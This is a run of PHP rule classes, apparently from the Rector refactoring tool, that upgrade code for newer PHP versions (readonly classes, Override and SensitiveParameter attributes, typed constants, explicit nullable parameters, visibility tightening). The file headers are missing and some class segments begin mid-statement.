$param->setAttribute(AttributeKey::ORIGINAL_NODE, null); } } } foreach ($node->getProperties() as $property) { $this->visibilityManipulator->removeReadonly($property); if ($property->attrGroups !== []) { // invoke reprint with correct newline $property->setAttribute(AttributeKey::ORIGINAL_NODE, null); } } if ($node->attrGroups !== []) { // invoke reprint with correct readonly newline $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::READONLY_CLASS; } /** * @return ClassReflection[] */ private function resolveParentClassReflections(Scope $scope) : array { $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return []; } return $classReflection->getParents(); } /** * @param Property[] $properties */ private function hasNonTypedProperty(array $properties) : bool { foreach ($properties as $property) { // properties of readonly class must always have type if ($property->type === null) { return \true; } } return \false; } private function shouldSkip(Class_ $class, Scope $scope) : bool { $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return \true; } if ($this->shouldSkipClass($class)) { return \true; } $parents = $this->resolveParentClassReflections($scope); if (!$class->isFinal()) { return !$this->isExtendsReadonlyClass($parents); } foreach ($parents as $parent) { if (!$parent->isReadOnly()) { return \true; } } $properties = $class->getProperties(); if ($this->hasWritableProperty($properties)) { return \true; } if ($this->hasNonTypedProperty($properties)) { return \true; } if ($this->shouldSkipConsumeTraitProperty($class)) { return \true; } $constructClassMethod = $class->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { // no __construct means no property promotion, skip if class has no property defined return $properties === []; } $params = $constructClassMethod->getParams(); if ($params === []) { // no params means no property promotion, skip if class has no property defined return $properties === []; } return $this->shouldSkipParams($params); } private function shouldSkipConsumeTraitProperty(Class_ $class) : bool { $traitUses = $class->getTraitUses(); foreach ($traitUses as $traitUse) { foreach ($traitUse->traits as $trait) { $traitName = $trait->toString(); // trait not autoloaded if (!$this->reflectionProvider->hasClass($traitName)) { return \true; } $traitClassReflection = $this->reflectionProvider->getClass($traitName); $nativeReflection = $traitClassReflection->getNativeReflection(); if ($this->hasReadonlyProperty($nativeReflection->getProperties())) { return \true; } } } return \false; } /** * @param ReflectionProperty[] $properties */ private function hasReadonlyProperty(array $properties) : bool { foreach ($properties as $property) { if (!$property->isReadOnly()) { return \true; } } return \false; } /** * @param ClassReflection[] $parents */ private function isExtendsReadonlyClass(array $parents) : bool { foreach ($parents as $parent) { if ($parent->isReadOnly()) { return \true; } } return \false; } /** * @param Property[] $properties */ private function hasWritableProperty(array $properties) : bool { foreach ($properties as $property) { if (!$property->isReadonly()) { return \true; } } return \false; } private function shouldSkipClass(Class_ $class) : bool { // need to have test fixture once feature added to nikic/PHP-Parser if ($this->visibilityManipulator->hasVisibility($class, Visibility::READONLY)) { return \true; } if ($this->classAnalyzer->isAnonymousClass($class)) { return \true; } if ($this->phpAttributeAnalyzer->hasPhpAttribute($class, AttributeName::ALLOW_DYNAMIC_PROPERTIES)) { return \true; } return $class->extends instanceof FullyQualified && !$this->reflectionProvider->hasClass($class->extends->toString()); } /** * @param Param[] $params */ private function shouldSkipParams(array $params) : bool { foreach ($params as $param) { // has non-readonly property promotion if (!$this->visibilityManipulator->hasVisibility($param, Visibility::READONLY) && $param->flags !== 0) { return \true; } // type is missing, invalid syntax if ($param->type === null) { return \true; } } return \false; } } > */ public function getNodeTypes() : array { return [Encapsed::class]; } /** * @param Encapsed $node */ public function refactor(Node $node) : ?Node { $oldTokens = $this->file->getOldTokens(); $hasChanged = \false; foreach ($node->parts as $part) { if (!$part instanceof Variable) { continue; } $startTokenPos = $part->getStartTokenPos(); if (!isset($oldTokens[$startTokenPos])) { continue; } if (!\is_array($oldTokens[$startTokenPos])) { continue; } if ($oldTokens[$startTokenPos][1] !== '${') { continue; } $part->setAttribute(AttributeKey::ORIGINAL_NODE, null); $hasChanged = \true; } if (!$hasChanged) { return null; } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_VARIABLE_IN_STRING_INTERPOLATION; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if ($node->isFirstClassCallable()) { return null; } if ($this->isName($node, 'utf8_decode')) { $node->name = new Name('mb_convert_encoding'); $node->args[1] = new Arg(new String_('ISO-8859-1')); return $node; } if ($this->isName($node, 'utf8_encode')) { $node->name = new Name('mb_convert_encoding'); $node->args[1] = new Arg(new String_('UTF-8')); $node->args[2] = new Arg(new String_('ISO-8859-1')); return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_UTF8_DECODE_ENCODE_FUNCTION; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Prior PHP 8.2 FilesystemIterator::SKIP_DOTS was always set and could not be removed, therefore FilesystemIterator::SKIP_DOTS is added in order to keep this behaviour.', [new CodeSample('new FilesystemIterator(__DIR__, FilesystemIterator::KEY_AS_FILENAME);', 'new FilesystemIterator(__DIR__, FilesystemIterator::KEY_AS_FILENAME | FilesystemIterator::SKIP_DOTS);')]); } public function getNodeTypes() : array { return [New_::class]; } /** * Add {@see \FilesystemIterator::SKIP_DOTS} to $node when required. * * @param New_ $node */ public function refactor(Node $node) : ?New_ { if ($node->isFirstClassCallable()) { return null; } if (!$this->isObjectType($node->class, new ObjectType('FilesystemIterator'))) { return null; } if (!isset($node->args[1])) { return null; } $flags = $node->getArgs()[1]->value; if ($this->isSkipDotsPresent($flags)) { return null; } $classConstFetch = new ClassConstFetch(new FullyQualified('FilesystemIterator'), 'SKIP_DOTS'); $node->args[1] = new Arg(new BitwiseOr($flags, $classConstFetch)); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::FILESYSTEM_ITERATOR_SKIP_DOTS; } /** * Is the constant {@see \FilesystemIterator::SKIP_DOTS} present within $node? */ private function isSkipDotsPresent(Expr $expr) : bool { while ($expr instanceof BitwiseOr) { if ($this->isSkipDots($expr->right)) { return \true; } $expr = $expr->left; } return $this->isSkipDots($expr); } /** * Tells if $expr is equal to {@see \FilesystemIterator::SKIP_DOTS}. */ private function isSkipDots(Expr $expr) : bool { if (!$expr instanceof ClassConstFetch) { // can be anything return \true; } if (!\defined('FilesystemIterator::SKIP_DOTS')) { return \true; } $value = \constant('FilesystemIterator::SKIP_DOTS'); return $this->valueResolver->isValue($expr, $value); } } phpAttributeAnalyzer = $phpAttributeAnalyzer; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString($configuration[self::SENSITIVE_PARAMETERS] ?? []); $this->sensitiveParameters = (array) ($configuration[self::SENSITIVE_PARAMETERS] ?? []); } public function getNodeTypes() : array { return [Param::class]; } /** * @param Node\Param $node */ public function refactor(Node $node) : ?Param { if (!$this->isNames($node, $this->sensitiveParameters)) { return null; } if ($this->phpAttributeAnalyzer->hasPhpAttribute($node, 'SensitiveParameter')) { return null; } $node->attrGroups[] = new AttributeGroup([new Attribute(new FullyQualified('SensitiveParameter'))]); return $node; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add SensitiveParameter attribute to method and function configured parameters', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run(string $password) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run(#[\SensitiveParameter] string $password) { } } CODE_SAMPLE , [self::SENSITIVE_PARAMETERS => ['password']])]); } public function provideMinPhpVersion() : int { return PhpVersionFeature::SENSITIVE_PARAMETER_ATTRIBUTE; } } reflectionProvider = $reflectionProvider; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add type to constants based on their value', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public const TYPE = 'some_type'; } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public const string TYPE = 'some_type'; } CODE_SAMPLE )]); } public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Class_ { $className = $this->getName($node); if (!\is_string($className)) { return null; } if ($node->isAbstract()) { return null; } $classConsts = $node->getConstants(); if ($classConsts === []) { return null; } $parentClassReflections = $this->getParentReflections($className); $hasChanged = \false; foreach ($classConsts as $classConst) { $valueTypes = []; // If a type is set, skip if ($classConst->type !== null) { continue; } foreach ($classConst->consts as $constNode) { if ($this->isConstGuardedByParents($constNode, $parentClassReflections)) { continue; } if ($this->canBeInherited($classConst, $node)) { continue; } $valueTypes[] = $this->findValueType($constNode->value); } if ($valueTypes === []) { continue; } if (\count($valueTypes) > 1) { $valueTypes = \array_unique($valueTypes, \SORT_REGULAR); } // once more verify after uniquate if (\count($valueTypes) > 1) { continue; } $valueType = \current($valueTypes); if (!$valueType instanceof Identifier) { continue; } $classConst->type = $valueType; $hasChanged = \true; } if (!$hasChanged) { return null; } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_CLASS_CONSTANTS; } /** * @param ClassReflection[] $parentClassReflections */ public function isConstGuardedByParents(Const_ $const, array $parentClassReflections) : bool { $constantName = $this->getName($const); foreach ($parentClassReflections as $parentClassReflection) { if ($parentClassReflection->hasConstant($constantName)) { return \true; } } return \false; } private function findValueType(Expr $expr) : ?Identifier { if ($expr instanceof UnaryPlus || $expr instanceof UnaryMinus) { return $this->findValueType($expr->expr); } if ($expr instanceof String_) { return new Identifier('string'); } if ($expr instanceof LNumber) { return new Identifier('int'); } if ($expr instanceof DNumber) { return new Identifier('float'); } if ($expr instanceof ConstFetch || $expr instanceof ClassConstFetch) { if ($expr instanceof ConstFetch && $expr->name->toLowerString() === 'null') { return new Identifier('null'); } $type = $this->nodeTypeResolver->getNativeType($expr); $nodeType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::PROPERTY); if (!$nodeType instanceof Identifier) { return null; } return $nodeType; } if ($expr instanceof Array_) { return new Identifier('array'); } if ($expr instanceof Concat) { return new Identifier('string'); } return null; } /** * @return ClassReflection[] */ private function getParentReflections(string $className) : array { if (!$this->reflectionProvider->hasClass($className)) { return []; } $currentClassReflection = $this->reflectionProvider->getClass($className); return \array_filter($currentClassReflection->getAncestors(), static function (ClassReflection $classReflection) use($currentClassReflection) : bool { return $currentClassReflection !== $classReflection; }); } private function canBeInherited(ClassConst $classConst, Class_ $class) : bool { return !$class->isFinal() && !$classConst->isPrivate() && !$classConst->isFinal(); } } reflectionProvider = $reflectionProvider; $this->classAnalyzer = $classAnalyzer; $this->phpAttributeAnalyzer = $phpAttributeAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add override attribute to overridden methods', [new CodeSample(<<<'CODE_SAMPLE' class ParentClass { public function foo() { } } class ChildClass extends ParentClass { public function foo() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class ParentClass { public function foo() { } } class ChildClass extends ParentClass { #[\Override] public function foo() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $this->hasChanged = \false; if ($this->classAnalyzer->isAnonymousClass($node)) { return null; } $className = (string) $this->getName($node); if (!$this->reflectionProvider->hasClass($className)) { return null; } $classReflection = $this->reflectionProvider->getClass($className); $parentClassReflections = \array_merge($classReflection->getParents(), $classReflection->getInterfaces(), $classReflection->getTraits()); $this->processAddOverrideAttribute($node, $parentClassReflections); if (!$this->hasChanged) { return null; } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::OVERRIDE_ATTRIBUTE; } /** * @param ClassReflection[] $parentClassReflections */ private function processAddOverrideAttribute(Class_ $class, array $parentClassReflections) : void { if ($parentClassReflections === []) { return; } foreach ($class->getMethods() as $classMethod) { if ($classMethod->name->toString() === '__construct') { continue; } if ($classMethod->isPrivate()) { continue; } // ignore if it already uses the attribute if ($this->phpAttributeAnalyzer->hasPhpAttribute($classMethod, 'Override')) { continue; } // Private methods should be ignored foreach ($parentClassReflections as $parentClassReflection) { if (!$parentClassReflection->hasNativeMethod($classMethod->name->toString())) { continue; } // ignore if it is a private method on the parent $parentMethod = $parentClassReflection->getNativeMethod($classMethod->name->toString()); if ($parentMethod->isPrivate()) { continue; } if ($parentClassReflection->isTrait() && !$parentMethod->isAbstract()) { continue; } $classMethod->attrGroups[] = new AttributeGroup([new Attribute(new FullyQualified('Override'))]); $this->hasChanged = \true; continue 2; } } } } exprAnalyzer = $exprAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Combine separated host and port on ldap_connect() args', [new CodeSample(<<<'CODE_SAMPLE' ldap_connect('ldap://ldap.example.com', 389); CODE_SAMPLE , <<<'CODE_SAMPLE' ldap_connect('ldap://ldap.example.com:389'); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'ldap_connect')) { return null; } if ($node->isFirstClassCallable()) { return null; } $args = $node->getArgs(); if (\count($args) !== 2) { return null; } $firstArg = $args[0]->value; $secondArg = $args[1]->value; if ($firstArg instanceof String_ && $secondArg instanceof LNumber) { $args[0]->value = new String_($firstArg->value . ':' . $secondArg->value); } elseif ($this->exprAnalyzer->isDynamicExpr($firstArg) && $this->exprAnalyzer->isDynamicExpr($secondArg)) { $args[0]->value = new Encapsed([$firstArg, new EncapsedStringPart(':'), $secondArg]); } else { return null; } unset($args[1]); $node->args = $args; return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_HOST_PORT_SEPARATE_ARGS; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if ($node->isFirstClassCallable()) { return null; } if (\count($node->getArgs()) !== 0) { return null; } $target = null; if ($this->isName($node, 'get_class')) { $target = 'self'; } if ($this->isName($node, 'get_parent_class')) { $target = 'parent'; } if ($target !== null) { return new ClassConstFetch(new Name([$target]), new VarLikeIdentifier('class')); } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_GET_CLASS_WITHOUT_ARGS; } } valueResolver = $valueResolver; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Make implicit nullable param to explicit', [new CodeSample(<<<'CODE_SAMPLE' function foo(string $param = null) {} CODE_SAMPLE , <<<'CODE_SAMPLE' function foo(?string $param = null) {} CODE_SAMPLE )]); } public function getNodeTypes() : array { return [Param::class]; } /** * @param Param $node */ public function refactor(Node $node) : ?Param { if (!$node->type instanceof Node) { return null; } if (!$node->default instanceof ConstFetch || !$this->valueResolver->isNull($node->default)) { return null; } $nodeType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($node->type); if (TypeCombinator::containsNull($nodeType)) { return null; } // mixed can't be nullable, ref https://3v4l.org/YUkhH/rfc#vgit.master if ($nodeType instanceof MixedType) { return null; } $newNodeType = TypeCombinator::addNull($nodeType); $paramType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($newNodeType, TypeKind::PARAM); // ensure it process valid Node, otherwise, just return null if (!$paramType instanceof Node) { return null; } // re-use existing node instead of reprint Node that may cause unnecessary FQCN if ($node->type instanceof UnionType) { $node->type->types[] = new Name('null'); } elseif ($node->type instanceof ComplexType) { /** @var IntersectionType $nodeType */ $nodeType = $node->type; $node->type = new UnionType([$nodeType, new Name('null')]); } else { $node->type = new NullableType($node->type); } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_IMPLICIT_NULLABLE_PARAM_TYPE; } } reflectionProvider = $reflectionProvider; } public function isLegal(Class_ $class) : bool { if ($class->extends instanceof FullyQualified && !$this->reflectionProvider->hasClass($class->extends->toString())) { return \false; } foreach ($class->implements as $implement) { if (!$this->reflectionProvider->hasClass($implement->toString())) { return \false; } } return \true; } } betterNodeFinder = $betterNodeFinder; $this->nodeNameResolver = $nodeNameResolver; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; $this->astResolver = $astResolver; $this->propertyManipulator = $propertyManipulator; $this->classReflectionAnalyzer = $classReflectionAnalyzer; } /** * @param \PhpParser\Node\Stmt\Property|string $property */ public function isLegal($property, ?ClassReflection $classReflection) : bool { if (!$classReflection instanceof ClassReflection) { return \false; } if ($classReflection->isAnonymous()) { return \false; } $propertyName = $property instanceof Property ? $this->nodeNameResolver->getName($property) : $property; if ($this->propertyManipulator->isUsedByTrait($classReflection, $propertyName)) { return \false; } $parentClassName = $this->classReflectionAnalyzer->resolveParentClassName($classReflection); if ($parentClassName === null) { return \true; } $className = $classReflection->getName(); $parentClassReflections = $classReflection->getParents(); // parent class not autoloaded if ($parentClassReflections === []) { return \false; } return $this->isGuardedByParents($parentClassReflections, $propertyName, $className); } private function isFoundInParentClassMethods(ClassReflection $parentClassReflection, string $propertyName, string $className) : bool { $classLike = $this->astResolver->resolveClassFromClassReflection($parentClassReflection); if (!$classLike instanceof Class_) { return \false; } $methods = $classLike->getMethods(); foreach ($methods as $method) { $isFound = $this->isFoundInMethodStmts((array) $method->stmts, $propertyName, $className); if ($isFound) { return \true; } } return \false; } /** * @param Stmt[] $stmts */ private function isFoundInMethodStmts(array $stmts, string $propertyName, string $className) : bool { return (bool) $this->betterNodeFinder->findFirst($stmts, function (Node $subNode) use($propertyName, $className) : bool { if (!$this->propertyFetchAnalyzer->isPropertyFetch($subNode)) { return \false; } if ($subNode instanceof PropertyFetch) { if (!$subNode->var instanceof Variable) { return \false; } if (!$this->nodeNameResolver->isName($subNode->var, 'this')) { return \false; } return $this->nodeNameResolver->isName($subNode, $propertyName); } if (!$this->nodeNameResolver->isNames($subNode->class, [ObjectReference::SELF, ObjectReference::STATIC, $className])) { return \false; } return $this->nodeNameResolver->isName($subNode->name, $propertyName); }); } /** * @param ClassReflection[] $parentClassReflections */ private function isGuardedByParents(array $parentClassReflections, string $propertyName, string $className) : bool { foreach ($parentClassReflections as $parentClassReflection) { if ($parentClassReflection->hasProperty($propertyName)) { return \false; } if ($this->isFoundInParentClassMethods($parentClassReflection, $propertyName, $className)) { return \false; } } return \true; } } flags & $visibility); } /** * @api * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst|\PhpParser\Node\Param $node */ public function makeStatic($node) : void { $this->addVisibilityFlag($node, Visibility::STATIC); } /** * @api * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property $node */ public function makeNonStatic($node) : void { if (!$node->isStatic()) { return; } $node->flags -= Class_::MODIFIER_STATIC; } /** * @api * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Class_ $node */ public function makeNonAbstract($node) : void { if (!$node->isAbstract()) { return; } $node->flags -= Class_::MODIFIER_ABSTRACT; } /** * @api * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\ClassConst $node */ public function makeFinal($node) : void { $this->addVisibilityFlag($node, Visibility::FINAL); } /** * @api * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\ClassMethod $node */ public function makeNonFinal($node) : void { if (!$node->isFinal()) { return; } $node->flags -= Class_::MODIFIER_FINAL; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst $node */ public function changeNodeVisibility($node, int $visibility) : void { Assert::oneOf($visibility, [Visibility::PUBLIC, Visibility::PROTECTED, Visibility::PRIVATE, Visibility::STATIC, Visibility::ABSTRACT, Visibility::FINAL]); $this->replaceVisibilityFlag($node, $visibility); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst $node */ public function makePublic($node) : void { $this->replaceVisibilityFlag($node, Visibility::PUBLIC); } /** * @api * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst $node */ public function makeProtected($node) : void { $this->replaceVisibilityFlag($node, Visibility::PROTECTED); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst|\PhpParser\Node\Param $node */ public function makePrivate($node) : void { $this->replaceVisibilityFlag($node, Visibility::PRIVATE); } /** * @api * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\ClassConst $node */ public function removeFinal($node) : void { $node->flags -= Class_::MODIFIER_FINAL; } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Param $node */ public function makeReadonly($node) : void { $this->addVisibilityFlag($node, Visibility::READONLY); } /** * @api * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Param $node */ public function isReadonly($node) : bool { return $this->hasVisibility($node, Visibility::READONLY); } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Param $node */ public function removeReadonly($node) : void { $this->removeVisibilityFlag($node, Visibility::READONLY); } /** * @param \PhpParser\Node\Stmt\ClassConst|\PhpParser\Node\Stmt\ClassMethod $node * @return \PhpParser\Node\Stmt\ClassConst|\PhpParser\Node\Stmt\ClassMethod|null */ public function publicize($node) { // already non-public if (!$node->isPublic()) { return null; } // explicitly public if ($this->hasVisibility($node, Visibility::PUBLIC)) { return null; } $this->makePublic($node); return $node; } /** * This way "abstract", "static", "final" are kept * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst|\PhpParser\Node\Param $node */ private function removeVisibility($node) : void { // no modifier if ($node->flags === 0) { return; } if ($node instanceof Param) { $node->flags = 0; return; } if ($node->isPublic()) { $node->flags |= Class_::MODIFIER_PUBLIC; $node->flags -= Class_::MODIFIER_PUBLIC; } if ($node->isProtected()) { $node->flags -= Class_::MODIFIER_PROTECTED; } if ($node->isPrivate()) { $node->flags -= Class_::MODIFIER_PRIVATE; } } /** * @api * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst|\PhpParser\Node\Param $node */ private function addVisibilityFlag($node, int $visibility) : void { $node->flags |= $visibility; } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst|\PhpParser\Node\Param $node */ private function removeVisibilityFlag($node, int $visibility) : void { $node->flags &= ~$visibility; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst|\PhpParser\Node\Param $node */ private function replaceVisibilityFlag($node, int $visibility) : void { $isStatic = $node instanceof ClassMethod && $node->isStatic(); if ($isStatic) { $this->makeNonStatic($node); } if ($visibility !== Visibility::STATIC && $visibility !== Visibility::ABSTRACT && $visibility !== Visibility::FINAL) { $this->removeVisibility($node); } $this->addVisibilityFlag($node, $visibility); if ($isStatic) { $this->makeStatic($node); } } } classMethodVisibilityGuard = $classMethodVisibilityGuard; $this->visibilityManipulator = $visibilityManipulator; $this->overrideByParentClassGuard = $overrideByParentClassGuard; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change protected class method to private if possible', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { protected function someMethod() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private function someMethod() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if (!$node->isFinal()) { return null; } if (!$this->overrideByParentClassGuard->isLegal($node)) { return null; } $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return null; } $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if ($this->shouldSkipClassMethod($classMethod)) { continue; } if ($this->classMethodVisibilityGuard->isClassMethodVisibilityGuardedByParent($classMethod, $classReflection)) { continue; } if ($this->classMethodVisibilityGuard->isClassMethodVisibilityGuardedByTrait($classMethod, $classReflection)) { continue; } $this->visibilityManipulator->makePrivate($classMethod); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function shouldSkipClassMethod(ClassMethod $classMethod) : bool { // edge case in nette framework /** @var string $methodName */ $methodName = $this->getName($classMethod->name); if (\strncmp($methodName, 'createComponent', \strlen('createComponent')) === 0) { return \true; } if (!$classMethod->isProtected()) { return \true; } // if has parent call, its probably overriding parent one → skip it $hasParentCall = (bool) $this->betterNodeFinder->findFirst((array) $classMethod->stmts, function (Node $node) : bool { if (!$node instanceof StaticCall) { return \false; } return $this->isName($node->class, 'parent'); }); return $hasParentCall; } } reflectionProvider = $reflectionProvider; $this->visibilityManipulator = $visibilityManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('PHPUnit test case will be finalized', [new CodeSample(<<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; class SomeClass extends TestCase { } CODE_SAMPLE , <<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; final class SomeClass extends TestCase { } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { // skip obvious cases if ($node->isAbstract() || $node->isAnonymous() || $node->isFinal()) { return null; } $className = $this->getName($node); if (!\is_string($className)) { return null; } if (\substr_compare($className, 'TestCase', -\strlen('TestCase')) === 0) { return null; } if (!$this->reflectionProvider->hasClass($className)) { return null; } $classReflection = $this->reflectionProvider->getClass($className); if (!$classReflection->isSubclassOf('PHPUnit\\Framework\\TestCase')) { return null; } if ($node->attrGroups !== []) { $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); } $this->visibilityManipulator->makeFinal($node); return $node; } } getSome() + 5; } private function getSome() { return $this->some; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { private $some; public function run() { return $this->some + 5; } private function getSome() { return $this->some; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $class = $node; $hasChanged = \false; $isFinal = $class->isFinal(); $this->traverseNodesWithCallable($node, function (Node $node) use($class, &$hasChanged, $isFinal) : ?PropertyFetch { if (!$node instanceof MethodCall) { return null; } if ($node->isFirstClassCallable()) { return null; } if (!$node->var instanceof Variable) { return null; } if (!$this->nodeNameResolver->isName($node->var, 'this')) { return null; } $methodName = $this->getName($node->name); if ($methodName === null) { return null; } $classMethod = $class->getMethod($methodName); if (!$classMethod instanceof ClassMethod) { return null; } if (!$classMethod->isPrivate() && !$isFinal) { return null; } $propertyFetch = $this->matchLocalPropertyFetchInGetterMethod($classMethod); if (!$propertyFetch instanceof PropertyFetch) { return null; } $hasChanged = \true; return $propertyFetch; }); if ($hasChanged) { return $node; } return null; } private function matchLocalPropertyFetchInGetterMethod(ClassMethod $classMethod) : ?PropertyFetch { if ($classMethod->params !== []) { return null; } $stmts = (array) $classMethod->stmts; if (\count($stmts) !== 1) { return null; } $onlyStmt = $stmts[0] ?? null; if (!$onlyStmt instanceof Return_) { return null; } $returnedExpr = $onlyStmt->expr; if (!$returnedExpr instanceof PropertyFetch) { return null; } return $returnedExpr; } } visibilityManipulator = $visibilityManipulator; $this->parentPropertyLookupGuard = $parentPropertyLookupGuard; $this->reflectionResolver = $reflectionResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change property to private if possible', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { protected $value; } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private $value; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$node->isFinal()) { return null; } $hasChanged = \false; $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return null; } foreach ($node->getProperties() as $property) { if ($this->shouldSkipProperty($property)) { continue; } if (!$this->parentPropertyLookupGuard->isLegal($property, $classReflection)) { continue; } $this->visibilityManipulator->makePrivate($property); $hasChanged = \true; } $construct = $node->getMethod(MethodName::CONSTRUCT); if ($construct instanceof ClassMethod) { foreach ($construct->params as $param) { if ($param->flags === 0) { continue; } if (!$this->visibilityManipulator->hasVisibility($param, Visibility::PROTECTED)) { continue; } if (!$this->parentPropertyLookupGuard->isLegal((string) $this->getName($param), $classReflection)) { continue; } $this->visibilityManipulator->makePrivate($param); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } private function shouldSkipProperty(Property $property) : bool { if (\count($property->props) !== 1) { return \true; } return !$property->isProtected(); } } nodeNameResolver = $nodeNameResolver; } public function isClassMethodVisibilityGuardedByParent(ClassMethod $classMethod, ClassReflection $classReflection) : bool { $methodName = $this->nodeNameResolver->getName($classMethod); /** @var ClassReflection[] $parentClassReflections */ $parentClassReflections = \array_merge($classReflection->getParents(), $classReflection->getInterfaces()); foreach ($parentClassReflections as $parentClassReflection) { if ($parentClassReflection->hasMethod($methodName)) { return \true; } } return \false; } public function isClassMethodVisibilityGuardedByTrait(ClassMethod $classMethod, ClassReflection $classReflection) : bool { $parentTraitReflections = $this->getLocalAndParentTraitReflections($classReflection); $methodName = $this->nodeNameResolver->getName($classMethod); foreach ($parentTraitReflections as $parentTraitReflection) { if ($parentTraitReflection->hasMethod($methodName)) { return \true; } } return \false; } /** * @return ClassReflection[] */ private function getLocalAndParentTraitReflections(ClassReflection $classReflection) : array { $traitReflections = $classReflection->getTraits(); foreach ($classReflection->getParents() as $parentClassReflection) { foreach 